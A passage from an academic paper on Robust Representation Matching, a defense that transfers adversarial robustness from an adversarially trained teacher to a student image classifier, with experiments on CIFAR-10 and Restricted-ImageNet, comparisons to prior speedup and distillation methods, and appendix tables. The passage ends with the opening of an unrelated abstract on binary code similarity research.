racy with a smaller focus on the teacher’s robust representa-
tions, which in turn lowers the student’s adversarial robust-
ness. This observation is consistent with the findings of prior
works [14, 26]. Thus, if we select a small value for λ, we can
instead bias Sθ to focus more on robust representations and
improve its adversarial robustness through the supervision
provided by LR. The value of λ can be tuned based on the
user’s requirement2.

2Note that it is mandatory to set λ to a non-zero value. Otherwise, no loss
gradient will be present to train the final layer of Sθ as LR does not depend
on the final layer.

As we are training Sθ with natural images only, the compu-
tational cost of our approach is comparable to that of standard
training and much lower than adversarial training [15]. In ad-
dition to the backpropagation step present in standard training,
RRM requires an additional forward pass through classifier Tφ

to compute LR, which we later show is only a small amount
of additional overhead. Although adversarially training Tφ

is necessary, its cost is amortized as we can robustly train
future student models, as might be required in large-scale
commercial systems.

Algorithm 1: Robust Representation Matching (RRM)

Input: Training data distribution D , learning rate η,
training iterations T

Output: Robust student classifier Sθ

1 Tφ← ADVERSARIALTRAINING(D) ;
2 Sθ← random initialization ;
3 gT ← Tφ’s mapping from input to penultimate layer ;
4 gS← Sθ’s mapping from input to penultimate layer ;
5 i← 1 ;
6 while i < T do
7 Sample input batch {(x1,y1),(x2,y2), · · · ,(xn,yn)}

from D;
8 lr← 1

n ∑
n
j=1 LR(gS(x j),gT (x j)) ;

9 lce← 1
n ∑

n
j=1 LCE(Sθ(x j),y j) ;

10 ltotal ← λ · lce + lr ;
11 θ← θ−η ·∇θltotal ;
12 i← i+1 ;
13 end while

Why match penultimate layer representations?

Goldblum et al. [10] demonstrated that it is possible to transfer
adversarial robustness from an adversarially trained teacher
to a student using the traditional Knowledge Distillation (KD)
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loss [12]. The training objective of traditional KD is defined
as follows:

min
θ
E(x,y)∼D [(1−α)LCE(St

θ(x),y)+αt2LKL(St
θ(x),T

t
φ(x))]

(6)
Here, LKL is the KL divergence loss and is applied between
the temperature (or t) scaled softmax outputs of the student
and the teacher. The hyperparameter α is used to control the
contribution of LKL and the standard cross-entropy loss LCE
towards the total loss. This training objective is similar to
the training objective of RRM (Equation 5) with the key dif-
ference being the layer whose outputs are being matched.
While KD traditionally matches the final layer output of the
student and the teacher, RRM instead matches the learned rep-
resentations (i.e., the penultimate layer output). We recognize
that, as a result of minimizing the cross-entropy loss during
training, a highly accurate teacher’s outputs will closely re-
semble the ground truth labels. Therefore, matching the final
layer outputs may limit the information transferred to the
student as opposed to using the learned representations. In
Section 6.3, we compare the KL divergence loss used on final
layer outputs with our proposed robust representation loss and
demonstrate the improved performance when the learned rep-
resentations are used to transfer knowledge. We will further
discuss the differences between RRM and the KD method
used by Goldblum et al. in Section 8.

Matching the penultimate layer representations also allows
us to preserve our model agnostic design. While the interme-
diate representations from an arbitrary layer may be higher in
dimensionality, the representation matching approach used by
RRM requires that the student and teacher’s representations
are the same dimensionality. Different model architectures
can vary highly with respect to the dimensions of their in-
termediate layers, and thus, would require invasive changes
at the intermediate layer for representation matching to be
used. Furthermore, these changes would need to be cascaded
downstream. In choosing the penultimate layer, we can ensure
that RRM is model agnostic as most popular architectures
(VGG, ResNet, etc.) have identical penultimate layer dimen-
sions by default. In cases where the dimensions differ, we
can simply add a single layer after the penultimate layer to
one of the models to ensure proper sizing without the need
for downstream changes. Our experiment results presented in
Section 6 demonstrate the effectiveness of this approach.

5 Threat Model

In this section, we provide specifications of the threat model
under which we perform our evaluations. Our threat model is
similar to the one used by Madry et al. [15]. Additionally, we
claim similar adversarial robustness guarantees as them.
Adversary Goals. In this work, we focus on evasion attacks
on image classifiers. The adversary’s goal is to imperceptibly

perturb a given image such that the resulting image is misclas-
sified by the image classifier. Evasion attacks are of two types:
targeted and untargeted. Targeted evasion attacks seek to per-
turb images so that the classifier outputs a specific label that
is desirable for the adversary. In untargeted evasion attacks,
all incorrect labels are of similar value to the adversary. The
objective of an untargeted attack is formalized in Equation 2.
In this paper, we only evaluate against untargeted evasion
attacks. However, based on the work by Madry et al. [15], we
can safely assume robustness against targeted evasion attacks
as well.
Adversarial Capabilities. The adversary is allowed to imper-
ceptibly perturb the input to an image classifier. Similar to
related works, we define the imperceptibility condition using
`p-norm, i.e., ||δ||p ≤ ε. The adversary uses the first-order
gradients of the classifier to solve Equation 2, as the major-
ity of optimization problems in machine learning are solved
using first-order methods.
Adversary Knowledge. We evaluate under the white-box
threat model and assume that the adversary has complete
knowledge of the classifier and its parameters. Additionally,
the adversary is aware of the defense algorithm and can adapt
to it. The adversary also has access to the training data used
to train the target classifier.

6 Evaluation

We conduct experiments to demonstrate the superiority of
RRM along two dimensions: (1) training time (Section 6.2),
and (2) effectiveness of transfer (Section 6.3). We perform
both set of experiments using the CIFAR-10 dataset and com-
pare against most relevant recent prior works. We also demon-
strate that RRM scales to high dimensional datasets using the
Restricted-ImageNet dataset [26] (Section 6.4). Through our
evaluation, we verify that the results presented are statistically
significant. For adversarial accuracy computation, we follow
the standard practice in adversarial machine learning litera-
ture and use multiple random restarts to ensure that the attack
doesn’t get stuck in bad local maxima. For epoch timings,
we compute the 95% confidence interval to study statistical
significance of our speedup results.

6.1 Experimental Setup
All of our experiments were performed using the PyTorch li-
brary [21]. Mixed-precision training was performed using the
Nvidia Apex library [17]. We follow prior works for choos-
ing the hyperparameters used in our experiments (details
in Appendix A). We train a ResNet50 model using differ-
ent robustification approaches and compare the adversarial
robustness of the resulting models to measure the relative
effectiveness of these approaches. We measure adversarial
robustness at test time using the AutoPGD attack [7]. The
attack uses the cross-entropy loss and is run for 50 iterations
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Table 1: Comparing the performance and training time of a robust ResNet50 trained with different approaches. The teachers
used for RRM models are noted in the parentheses. The adversarial accuracy evaluation is done using an `∞-bound AutoPGD
attack [7] with ε = 8/255, 50 iterations and 10 random restarts. Compared to SAT, RRM achieves significant speedup while
maintaining comparable adversarial accuracy and suffering minor drop in natural accuracy. Compared to Free AT, RRM achieves
better natural and adversarial accuracy while converging ∼ 1.8× faster. For epoch time, we report the 95% confidence interval to
demonstrate statistical significance.

Method Epochs Epoch Time (sec) Total Time (min) Natural AutoPGD

SAT 150 723.03 ± 0.88 1807.58 85.50% 48.38%
Fast AT 40 289.16 ± 0.22 192.77 83.73% 50.47%
Free AT 96 36.58 ± 0.23 58.44 77.74% 45.20%
Free AT 48 36.58 ± 0.03 29.22 71.28% 41.53%
RRM (VGG11) 48 37.78 ± 0.09 30.22 76.17% 49.30%
RRM (ResNet18) 48 39.78 ± 0.10 31.82 80.32% 48.67%

with 10 random restarts (adopted from Wong et al. [28]). We
use the IBM Adversarial Robustness Toolbox (ART) [13]
to perform the attack. For RRM models, we use the cosine
similarity metric to compute the robust representation loss
LR in Equation 5. The code supporting our experiments
is available at https://github.com/Ethos-lab/robust-
representation-matching. Our code is based on the im-
plementation provided by Wong et al. [28] 3 and MadryLab’s
robustness package [8] 4.
Hardware. We ran our experiments on two different machines.
The CIFAR-10 experiments were run on a machine with an
Intel Xenon(R) Gold 6136 CPU, 16 GB RAM, and an Nvidia
Titan V GPU. The Restricted-ImageNet experiments were run
on a second machine with an Intel Xenon(R) E5-2690 CPU,
16GB RAM, and an Nvidia V100 GPU. Due to GPU memory
limitations on the second machine, the VGG16 experiments
were run on the first machine across 2 GPUs - Nvidia Titan V
and GeForce RTX 2080 Ti.

6.2 Adversarial Training Speedup
In this section, we demonstrate how RRM can be used to
speed up adversarial training and compare it against two adver-
sarial training approaches: (1) Standard Adversarial Training
(SAT), proposed by Madry et al. [15] and (2) Free Adversarial
Training, recently proposed by Shafahi et al. [22] to speed up
SAT. We apply the DAWNBench improvements5 proposed
by Wong et al. [28] to both RRM and Free AT during the
experiments and also show its effects on standard adversar-
ial training (Fast AT). Overall we demonstrate that, given a
pre-trained teacher, RRM achieves adversarial robustness
comparable to SAT in the least amount of training time.

3https://github.com/locuslab/fast_adversarial
4https://github.com/MadryLab/robustness
5Mixed-precision training with cyclic learning rate scheduling.

We compare the performance and the time required to train
an adversarially robust ResNet50 model with each approach.
Using the attack budget from prior work, we conduct the ex-
periments using an `∞-bound adversary with ε = 8/255. For
RRM, we use λ = 5e−3 and provide results using VGG11
and ResNet18 as teachers to demonstrate RRM’s capability
in transferring robustness across different class of model ar-
chitectures. Additionally, to demonstrate that RRM is model-
agnostic, we purposely use student-teacher pairs with dif-
ferent penultimate layer dimensions. Following the strategy
discussed in Section 4, we remedy the dimensional mismatch
by adding a single fully connected layer to the model with
higher penultimate layer dimension. For details regarding
classifier modifications we make, see Appendix B. The teach-
ers are trained using Fast AT to reduce the teacher training
overhead. With respect to the number of training epochs, we
report the performance of SAT and RRM at convergence and
report the performance of Fast AT and Free AT with their
default parameters. We also include the performance of Free
AT at the same number of epoch as RRM convergence (48
epochs) for side-by-side comparison. The summary of results
is presented in Table 1.

6.2.1 Standard Adversarial Training (SAT)

As we see in Table 1, RRM attains adversarial robustness
comparable to SAT and Fast AT but in a fraction of the time.
Specifically, RRM achieves an average speedup of ∼ 58×
over SAT and of ∼ 6× over Fast AT. We note that the per-
formance of RRM models on natural images is reduced by
∼ 8% when using a VGG11 teacher and ∼ 4% when using
a ResNet18 teacher. In Section 7, we discuss the balance be-
tween natural and adversarial accuracy based on the value of
λ used during training.
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6.2.2 Free Adversarial Training (Free AT)

Free AT speeds up SAT by requiring only a single forward
and backward pass during each training iteration [22]. A sin-
gle backward pass is used to compute the gradients of the loss
with respect to the model’s parameters (to train the model)
and the input image (to compute the adversarial perturbation).
The PGD attack used in SAT requires several backward passes
to compute the adversarial perturbation. Free AT mimics this
by repeating the same batch m times and using the adversarial
perturbation computed in one iteration to initialize the adver-
sarial perturbation of the next iteration. After m replays, a
new batch is used and the adversarial perturbation is reset.

For brevity, we only compare against the version of Free
AT [22] with DAWNBench improvements applied as it is
comparable to Free AT in terms of adversarial robustness,
but superior in terms of total training time. We use m = 8
as proposed by the authors. Compared to RRM, Free AT is
slightly faster with respect to per epoch time as shown in
Table 1. However, RRM achieves better performance (∼
2.5% higher standard accuracy and∼ 3.5% higher adversarial
accuracy) and has significantly lower total training time as
it converges ∼ 1.8× faster than Free AT.

In Figure 2, we plot the performance of a ResNet50 model
trained using Free AT and RRM for different number of
epochs. The x-axis represents the total number of epochs
the models were trained for and the y-axis represents the
corresponding accuracy. Solid lines represent accuracy on
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Figure 2: Plotting the performance of a ResNet50 model
trained using Free AT and RRM for different amount of train-
ing time budget. The x-axis represents the total time (in min-
utes) the model was trained for and the y-axis represents the
accuracy of the trained model. Each data-point in the curve is
the average model performance across 3 independent training
runs. RRM outperforms Free AT while converging faster.

natural test set and dashed lines represent accuracy on adver-
sarial test set generated using AutoPGD attack with 50 steps
and 10 random restarts. Each data-point in the curve is the
average model performance across 3 independent training
runs. As can be seen, RRM converges faster and has better
performance across the entire range of the x-axis.

6.2.3 Teacher Overhead in RRM

The results reported in Table 1 only present the time required
to train the ResNet50 model. In case of RRM, we do not
include the time required to train the teacher. We argue that
the cost to train the teacher can largely be amortized as one
teacher training session can be leveraged to train an arbitrary
number of students. In Figure 3, however, we compare the
training time of RRM with other methods when the teacher’s
training overhead is included (for numerical results see Ap-
pendix D). In this setting, RRM is still on average 17.5× and
2.7× faster than SAT and Fast AT, respectively. When com-
pared to Free AT, RRM requires comparable total training
time to train a model with better performance.
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Figure 3: Comparing total training times of SAT, Fast AT, and
Free AT with RRM. Yellow regions represent the total time
of adversarially training a teacher. If an adversarially robust
teacher is already trained, the total training time of RRM is
decreased significantly.

6.3 Adversarial Robustness Transfer

In this section, we compare against two prior works that
propose techniques to transfer adversarial robustness be-
tween models. First, we examine the robust data training
approach [14], which creates a robust dataset learned from an
adversarially trained model to transfer adversarial robustness.
Robustness is transferred to other models through standard
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Table 2: Comparing RRM against RDT [14] and KD [10]
using ResNet50. Performance of model trained using SAT is
provided for reference. The adversary is `2-bound with ε =
1.0. The evaluation is done using AutoPGD attack [7] with 50
iterations and 10 random restarts. Models trained using RRM
exhibit performance comparable to SAT and significantly
better than model’s trained using RDT and KD.

Method Teacher Natural AutoPGD

SAT - 82.97 48.49

RDT
VGG11 74.61 1.10

ResNet18 80.47 1.22

KD
VGG11 80.12 20.89

ResNet18 83.72 2.83

RRM
VGG11 78.53 47.24

ResNet18 80.80 46.18

training on the robust dataset. Second, we reproduce the ex-
periment conducted by Goldblum et al. [10] that suggested
an adversarially trained teacher’s robustness can be trans-
ferred to a student using knowledge distillation. Given the
pre-trained teacher, they included a new loss term, a KL diver-
gence loss between the temperature scaled softmax outputs
of the teacher and student models, during standard training.
Our empirical results demonstrate that RRM is superior to
both these approaches with respect to the effectiveness of
the transfer.

We compare the performance of an adversarially robust
ResNet50 model. To remain consistent with the work by
Ilyas et al. [14] and lessen hyperparameter tuning, we use an
`2-bound adversary with ε= 1.0. For RRM, we use λ= 5e−5.
The results are summarized in Table 2.

6.3.1 Robust Data Training (RDT)

Ilyas et al. [14] propose dataset robustification in order to
transfer robustness between models. Their method removes
the non-robust features from the training dataset through an
optimization process (Section 2.4) resulting in a new “robus-
tified” dataset. They demonstrated that the “robustified” train-
ing data can be used with standard training to train classifiers
with non-trivial adversarial robustness. While both their work
and ours use an adversarially robust classifier’s penultimate
layer to identify robust features, their work adds an additional
intermediate dataset robustification step. On the other hand,
our work adds a feature loss to the standard training loss to
directly encode the robust features into the student.

To generate a robust dataset from an adversarially trained
classifier, we follow the steps described by Ilyas et al.. First,
we use a random image from the training set to initialize

optimization. Then, 1000 steps of gradient descent with a
step size of 0.1 are performed to minimize the loss described
in Equation 4. At each step, the `2-norm of the gradient is
normalized. We used an `2-bound adversary with ε = 1.0 to
adversarially train the classifier used for robustification (i.e.,
teacher model).

In Table 2, we observe that models trained using RRM have
comparable standard accuracy and significantly better adver-
sarial accuracy than models trained using RDT. In the original
paper, RDT trained models exhibited non-trivial adversarial
robustness with respect to smaller values ε of epsilon, which
is what we originally observed as well. When we re-evaluated
the models with respect to ε = 1.0 (i.e., the value used to train
the teacher), the student models exhibit negligible adversar-
ial robustness. Furthermore, we found that the robust data
generation process was computationally expensive. Using
the proposed hyper parameters and an adversarially trained
ResNet18 model, the robust data generation process took ap-
proximately 6 hours to complete. Although this cost would
be amortized, the poor performance of the student models
suggest that this approach is not feasible for transferring ro-
bustness.

6.3.2 Knowledge Distillation (KD)

Prior to our work, Goldblum et al. [10] demonstrated that
adversarial robustness can be transferred from an adversar-
ially trained teacher to a student using knowledge distilla-
tion [12] with naturally trained images. KD seeks to minimize
the KL divergence between the temperature scaled softmax
outputs of a student and a teacher model in addition to mini-
mizing the student’s classification loss (see Equation 6). We
reproduce this experiment based on information provided by
Goldblum et al. in their paper. We train both the student and
the teacher with temperature t = 30, the proposed value. The
standard and adversarial accuracy (against a 20 steps PGD
attack) of the adversarially trained teacher models are: (1)
78.3% and 47.67% for VGG11; and (2) 82.38% and 51.15%
for ResNet18. The performance of the student models is pro-
vided in Table 2. Note that while training the student, we
set the value of α to 1 as this corresponds to the maximum
attainable adversarial robustness using this method.

When we adversarially attacked the student model with
t = 1 (i.e., the default used during evaluation), we observed
a non-trivial adversarial robustness similar to what Gold-
blum et al. originally reported. However, when we set t = 30
(i.e., the value used during training), the student’s adversarial
accuracy drops significantly. This phenomenon is due to van-
ishing gradients originally observed by Carlini and Wagner [2]
when analyzing another distillation based defense [19]. Thus,
traditional KD is not feasible for transferring robustness.
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Table 3: Comparing the performance and training time of a robust ResNet50 and VGG16 models trained using SAT and RRM.
An AlexNet model trained using SAT is used as teacher for RRM. The adversarial accuracy evaluation is done using an `2-bound
AutoPGD attack [7] with ε = 3, 20 iterations, and 5 random restarts.

Method Epochs Epoch Time (mins) Total Time (hrs)* Natural AutoPGD

ResNet50

SAT 150 101.49 253.71 95.47% 84.36%
RRM 60 13.66 13.66 88.19% 67.90%

VGG16

SAT 150 160.01 400.01 92.40% 80.91%
RRM 60 33.30 33.30 87.86% 73.30%

*The ResNet50 and VGG16 models were trained on different machines due to memory constraints.

6.4 Scaling RRM to Complex Datasets

To examine how well RRM adapts to more complex datasets,
we evaluate RRM using the Restricted-ImageNet dataset,
which was introduced by Tsipras et al. [26] to facilitate ad-
versarial robustness research with high resolution images.
The large number of classes present in the original ImageNet
dataset makes it difficult to use SAT and achieve acceptable
performance on natural and adversarial images. Restricted-
ImageNet is generated by grouping together a subset of se-
mantically similar classes from ImageNet into 9 super-classes.
For our experiments we follow Ilyas et al. [14] and use an
`2-bound adversary with ε = 3.0. We train a ResNet50 and
a VGG16 model using SAT and RRM and compare their
performance and training times. For RRM, we use `2 loss to
compute robust representation loss LR, λ = 1e− 3, and an
AlexNet teacher trained using SAT.

In Table 3, we compare the standard and adversarial ac-
curacy of the RRM models against their SAT baselines. The
RRM models exhibit competitive natural and adversarial ac-
curacy, coming within a few percentage points of the cor-
responding SAT model’s performance. Specifically, across
the two models, there is an average reduction of ∼ 6% in
natural accuracy and of ∼ 12% in adversarial accuracy. How-
ever, relative to SAT, RRM achieves a speedup of ∼ 18× on
ResNet50 and ∼ 12× on VGG16. All models were trained
till convergence. When including the teacher’s training time,
RRM achieves a speedup of 5.4× on ResNet50 and 6.0× on
VGG16 (for numerical results see Appendix D). Note that we
do not use DAWNBench improvements in this set of experi-
ments. The standard adversarial training performance of all
models used in Table 3 is reported in in Appendix C.

7 Discussion

In this section we discuss some noteworthy points regarding
RRM. First, we discuss how changing the value of λ affects
the performance of the student model, which can inform users
of RRM how to tune λ based on their use case. Second, we
explore the decreasing effectiveness of RRM when the teacher
is more complex than the student. In our presented results,
the teacher’s architecture was always less complex (i.e., faster
to train) than the student. Using a ResNet50 teacher, we train
multiple student models of decreasing complexity and observe
lowering rates of robustness transfer.

7.1 Tuning the λ Parameter

In Figure 4 we plot the performance of two ResNet50 models
trained using RRM, while varying the value of λ used. The
two models are trained with a VGG11 and a ResNet18 teacher,
respectively. The adversarial accuracy is computed using Au-
toPGD attack with 20 iterations and 5 random restarts.

Equation 5 contains two loss terms: 1) LCE , which im-
proves the model’s natural accuracy and 2) LR, which encour-
ages the model to learn the teacher’s robust representations.
As we decrease the value of λ, the contribution of LCE is
reduced, which increases the contribution of LR. In Figure 4,
we observe this effect for λ≥ 1e−2. For 5e−5≤ λ≤ 1e−2,
we observe somewhat of a plateau in performance for the ad-
versarial accuracy, with only a slight negative slope in natural
accuracy. Thus, any value in this range will likely result in
robust student model. Finally, if λ becomes too small (i.e.,
λ < 5e−5), the training focuses too much on matching the
robust representation of the teacher that the student model’s
performance plummets. The drop in adversarial accuracy at
this point is attributed to the model’s poor natural accuracy
rather than a decrease in robustness.
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Figure 4: Plotting the performance of ResNet50 trained with
RRM using two different teachers while varying the value of
λ. We see that there is a plateau in adversarial accuracy for
5e−5≤ λ≤ 1e−2. λ values outside of this range either result
in a model with poor natural accuracy and/or poor adversarial
robustness.

7.2 Limit Testing

Previously, we showed that RRM allows us to efficiently trans-
fer a significant amount of robustness from an adversarially
trained teacher to a student despite differences in architecture.
However, during our experiments, we noticed a few cases
of poor robustness transferability. For example, on CIFAR-
10, with a ResNet50 teacher and an `2-bounded adversary
with ε = 1, the VGG11 and VGG19 students were only able
to achieve 23.74% and 28.03% adversarial accuracy, respec-
tively. Compare this with the ResNet18 and ResNet50 student
models, which achieve 40.56% and 47.54% adversarial accu-
racy. We observed a similar phenomenon with our Restricted-
ImageNet experiments, in which an AlexNet model was only
able to achieve 51.72% adversarial accuracy (natural accuracy
is 78.11%) when trained with a ResNet50 teacher. In contrast,
an AlexNet model trained with SAT achieved 75.24% ad-
versarial accuracy. These observations suggest that, under
certain conditions, the effectiveness of RRM is limited. Fig-
ure 5 presents our exploration of these limits. We evaluated
the adversarial accuracy on CIFAR-10 of several RRM mod-
els trained using the ResNet50 teacher and compare them
to the adversarial accuracy of the teacher. In addition to the
model architectures we already mentioned, we also trained a
simple DNN with two convolution layers and two fully con-
nected layers. Using SAT, this DNN achieves 59.55% natural
accuracy and 34.15% adversarial accuracy.

If we rank the complexity of a classifier based on its
per-epoch training time, then we have the following order:
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Figure 5: Limit testing RRM on CIFAR-10 by transferring
adversarial robustness from a ResNet50 teacher to several
students of varying complexities. Adversarial images were
generated using an `2-bound AutoPGD attack [7] with ε= 1.0,
iterations = 20, and 5 random restarts.

ResNet50 > ResNet18 > VGG19 > VGG11 > DNN. Thus, we
rank the ResNet50 (723 seconds per-epoch) as the most com-
plex and the DNN (14.3 seconds per-epoch) as the least com-
plex classifier. Our results suggest that the simpler a student is
compared to the teacher, the poorer the student’s performance
will be. We hypothesize that the per-epoch training time is a
rough approximation of the model’s expressive power. Thus,
the robust features used by a complex teacher are harder for
less complex students to learn, resulting in poor transferability
in such cases. Further exploration is required to establish a
concrete metric to predict the transferability between differ-
ent classifier architectures when training with RRM. While
these results suggest the existence of some limitations with
our proposed approach, we note that RRM is still applicable
in real world settings where there are relatively small differ-
ences in complexity between successive generations of model
architectures. Furthermore, in cases where the student and
teacher are trained from scratch, it is beneficial to pair a less
complex teacher with a more complex student to reduce train-
ing overhead. The standard adversarial training performance
of all models in Figure 5 are reported in Appendix C.

8 Related Works

Adversarially Robust Distillation (ARD) [10]. In their work,
Goldblum et al. used traditional knowledge distillation with
an adversarially robust teacher to train an adversarially robust
student. Here we describe the key differences between the tra-
ditional KD method from their paper and RRM. Note that we
do not compare against ARD, which is the main contribution
of their paper. This is because ARD requires training both the
student and the teacher using adversarial training and solely
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focuses on improving adversarial robustness of the student
without any regards to the total training time.

First, RRM uses a cosine similarity loss focused on the
models’ penultimate layer (i.e., pre-logit layer) whereas Gold-
blum et al. use a knowledge distillation loss focused on the
models’ temperature scaled softmax outputs. Our approach
encourages the student to utilize the robust representations
learned by the teacher. When they have differently shaped
representation layers, we add an additional layer of the cor-
rect shape after the current penultimate layer to one of the
models. In contrast, KD expects the student to learn its own
representations to match the teacher’s softmax output and
requires an additional hyperparameter, the temperature t, as
compared to RRM. Depending on its magnitude, t can affect
the success rate of gradient based adversarial attacks due to an
artificial scaling of the logits [2]. Note that the hyperparameter
λ in Equation 5 and α in Equation 6 serve identical purpose
of controlling the trade-off between natural and adversarial
accuracy.

The second difference is in intent. KD is traditionally used
to transfer the performance of a larger more complex model
to a smaller less complex model in an effort to “compress”
the larger model into the smaller one. Goldblum et al. use this
to improve the adversarial robustness of smaller models by
leveraging robust larger models and their experiments reflect
this. Their approach augments adversarial training with KD
to achieve high performance. As we showed in Section 6.3,
distillation alone is insufficient to transfer the robustness of
the teacher and, likely, only helps to fine-tune adversarial per-
formance. In contrast, RRM seeks to reduce the adversarial
training overhead by leveraging smaller models to quickly
train robust larger models. We necessarily do not adversarially
train the student.
Dataset Robustification [14]. In their work, Ilyas et al. de-
signed a dataset transformation approach to create a new
dataset composed only of “robust features”. With the robust
dataset, one could use standard ERM (Equation 1) to train a
model with non-trivial adversarial robustness. The key differ-
ence between their approach and RRM lies in the technique
used to transfer the robust features to the student model. Their
work assumes that a model trained on a robustified dataset
would automatically learn the robust features. As we showed
in Section 6.3, their method only marginally improves the ad-
versarial robustness of the trained models. RRM directly pro-
vides the robust feature representations from the adversarially
trained teacher to the student, which results in models with
much higher adversarial accuracy. Furthermore, our method
does not include the additional overhead of generating the
robust dataset.
IGAM [5]. Another work that explores transferring adversar-
ial robustness was published by Chan et al. [5]. Their ap-
proach for transferring adversarial robustness involves match-
ing the student’s loss gradients (with respect to the input) to
the loss gradients of an adversarially robust teacher. While

both their work and ours pertain to transferring adversarial
robustness between models, their focus is on transferring ad-
versarial robustness across task domains, which is orthogonal
to the problem solved by RRM. They do not conduct experi-
ments to transfer performance within the same task between
models of different architectures. Instead, they focus on trans-
ferring robustness between models having same architecture,
but trained for different tasks (using different datasets).

9 Limitations and Future Work

RRM dependence on adversarial training. RRM requires an
adversarially trained teacher model. Thus, any shortcomings
of adversarial training, such as the large training overhead
and potential overfitting [25] still exist with respect to the
teacher model. However, we demonstrated that RRM reduces
training time when an adversarially trained teacher is already
available and in cases when training the student-teacher pair
is significantly faster than adversarially training the student.
Furthermore, any improvements to adversarial training will
improve RRM indirectly. In Section 6.2, we demonstrated that
some of the speedup techniques proposed by Wong et al. [28],
such as mixed-precision training, are compatible with RRM.
RRM in other domains and model types. In this work, we
only studied transferring adversarial robustness between deep
neural networks in the image classification domain. It is un-
known if RRM would work in other domains or with other
types of models (e.g. decision trees or LSTMs). With respect
to other domains, if adversarial training exists in the domain,
we expect RRM to work as its core idea is to encourage the
student to use the robust representations learned by a teacher.
Regarding transferring between different model types, further
investigation is needed to determine if this is feasible and if
not, what modifications are required to make it feasible.

10 Conclusion

Adversarial machine learning looms as an ever-present threat
to the security and reliability of machine learning systems as
research has proven attackers with a certain level of access
can reliably cause them to misbehave. As such, it is desirable
to train machine learning models that are robust to adversarial
attacks in advance rather than wait for a breach to occur. Un-
fortunately, adversarial training, one of the most well-known
and reliable defenses, is impractical to deploy in real world
systems. Like software, machine learning models need to be
constantly updated to maintain state-of-the-art performance
due to the availability of new training data or the development
of new model architectures. The high training overhead and
poor scalability of adversarial training discourage users from
adopting it as part of their training process.

In this paper, we proposed a method to transfer adversar-
ial robustness between models despite differences in their
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architectures. RRM enables low-cost, efficient transfer of
robust representations learned by an adversarially trained
teacher model to a new student model. By adding a new
loss term to the standard training objective, an adversarially
robust model can be trained on natural images only using
RRM. On CIFAR-10, we demonstrated that RRM outper-
forms state-of-the-art adversarial training speedup techniques.
On Restricted-ImageNet, a higher dimensional dataset, we
demonstrated that RRM remains effective both in terms of
model performance and training speedup.
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A Hyperparameters

Here we provide the hyperparameters used to train the mod-
els in our experiments. Table 4 provides the hyperparameters
used to adversarially train each model. Table 5 provides the
hyperparameters used when training a student model using
RRM. Table 6 provides the hyperparameters used when train-
ing a student model using prior works: Robust Data Training
(RDT) [14], Knowledge Distillation (KD) [10], Fast Adver-
sarial Training (Fast AT) [28], and Free Adversarial Training
(Free AT) [22].

Table 4: Hyperparameters used to train models using standard
adversarial training [15] on different datasets.

Dataset LR Batch Size Epochs LR Decay

CIFAR-10 0.1 128 150 50,100
Restricted-ImageNet 0.01 128 150 125

Table 5: Hyperparameters used to train models using RRM
on different datasets.

Dataset LR Batch Size Epochs LR Decay

CIFAR-10 0.1 128 48 cosine
Restricted-ImageNet 0.1 128 60 35,50

Table 6: Hyperparameters used to train models using prior
works on CIFAR-10.

Method LR Batch Size Epochs LR Decay

RDT [14] 0.1 128 100 65,90
KD [10] 0.1 128 100 65,90
Fast AT [28] 0.2 (max) 128 40 cyclic
Free AT [22] 0.04 (max) 128 96 cyclic

B Penultimate Layer Dimensions

In order to demonstrate that RRM is model-agnostic, we used
a variety of classifiers in our experiments. These classifiers
belong to different class of architectures (VGG, ResNet etc.)
as well as have different penultimate layer dimensions. Since
our robust representation loss requires the penultimate layer
features of the student and teacher to be of the same dimen-
sion, we add an additional fully connected layer after the
penultimate layer in certain classifiers. These modifications
are summarized in Table 7.

Table 7: Dimensions of the penultimate layer features of the
various classifiers we use in our experiments. To be able to
use or robust representation loss, we add an additional fully
connected layer to some architectures as specified below.

Classifier
Penultimate Layer Dimension

Original After Modification

CIFAR-10

VGG11 512 N/A
VGG19 512 N/A

ResNet18 512 N/A
ResNet50 2048 512

Restricted-ImageNet

AlexNet 4096 2048
VGG16 4096 2048

ResNet50 2048 N/A
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C Adversarial Training Results

In this section, we include the performance of all the adver-
sarially trained models (SAT [15] and Fast AT [28]) that we
used in our experiments. Information regarding the adversary
used is provided in parentheses. Refer to Table 8 for these
results.

Table 8: Performance of adversarially trained models we used
in our experiments. The AutoPGD attack [7] was performed
using 20 iterations and 5 random restarts.

Threat Model Classifier Method Natural AutoPGD

CIFAR-10

`2, ε = 1.0

DNN SAT 59.95 34.15
VGG11 SAT 78.81 46.08
VGG19 SAT 74.64 45.52

ResNet18 SAT 82.81 48.99
ResNet50 SAT 82.97 48.65

`∞, ε = 8/255

VGG11 Fast AT 76.94 44.11
ResNet18 Fast AT 82.60 51.30
ResNet50 SAT 85.50 49.60
ResNet50 Fast AT 83.73 50.65
ResNet50 Free AT 77.74 45.41

Restricted-ImageNet

`2, ε = 3.0
AlexNet SAT 87.67 75.24
VGG16 SAT 92.40 80.91

ResNet50 SAT 95.47 84.36

D Training Time Results

The total time required to train a ResNet50 model using differ-
ent methods is reported in this section. For completeness, we
report the total training time with teacher overhead included
in case of RRM. The total training times on CIFAR-10 are
reported in Table 9 and for Restricted-ImageNet are reported
in Table 10.

Table 9: Comparing RRM training time to Free AT [22] on
CIFAR-10 using ResNet50. Both methods have been acceler-
ated using DAWNBench improvements [28]. For complete-
ness we provided comparisons when teacher’s overhead is
taken into account when training models using RRM. Teach-
ers VGG11 and ResNet18 have been trained using Fast AT.

Method
Train Time (mins)

w/o Teacher w/ Teacher

SAT 1807.58 -
Fast AT 192.77 -
Free AT 58.44 -

RRM (VGG11) 30.22 57.91
RRM (ResNet18) 31.82 91.77

Table 10: Comparing RRM training time to SAT [15] on
Restricted-ImageNet using VGG16 and ResNet50. An adver-
sarially trained AlexNet model is used as teacher. For com-
pleteness we provided comparisons when teacher’s overhead
is taken into account when training models using RRM.

Method
Train Time (hrs)*

w/o Teacher w/ Teacher

ResNet50

SAT 253.71 -
RRM 13.66 46.69

VGG16

SAT 400.01 -
RRM 33.30 66.33

*The ResNet50 and VGG16 models were trained on different
machines due to memory constraints.
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Abstract
The ability to accurately compute the similarity between two
pieces of binary code plays an important role in a wide range
of different problems. Several research communities such as
security, programming language analysis, and machine learn-
ing, have been working on this topic for more than five years,
with hundreds of papers published on the subject. One would
expect that, by now, it would be possible to answer a number of
research questions that go beyond very specific techniques pre-
sented in papers, but that generalize to the entire research field.
Unfortunately, this topic is affected by a number of challenges,
ranging from reproducibility issues to opaqueness of research
results, which hinders meaningful and effective progress.

In this paper, we set out to perform the first measurement
study on the state of the art of this research area. We begin by
systematizing the existing body of research. We then identify
a number of relevant approaches, which are representative of a
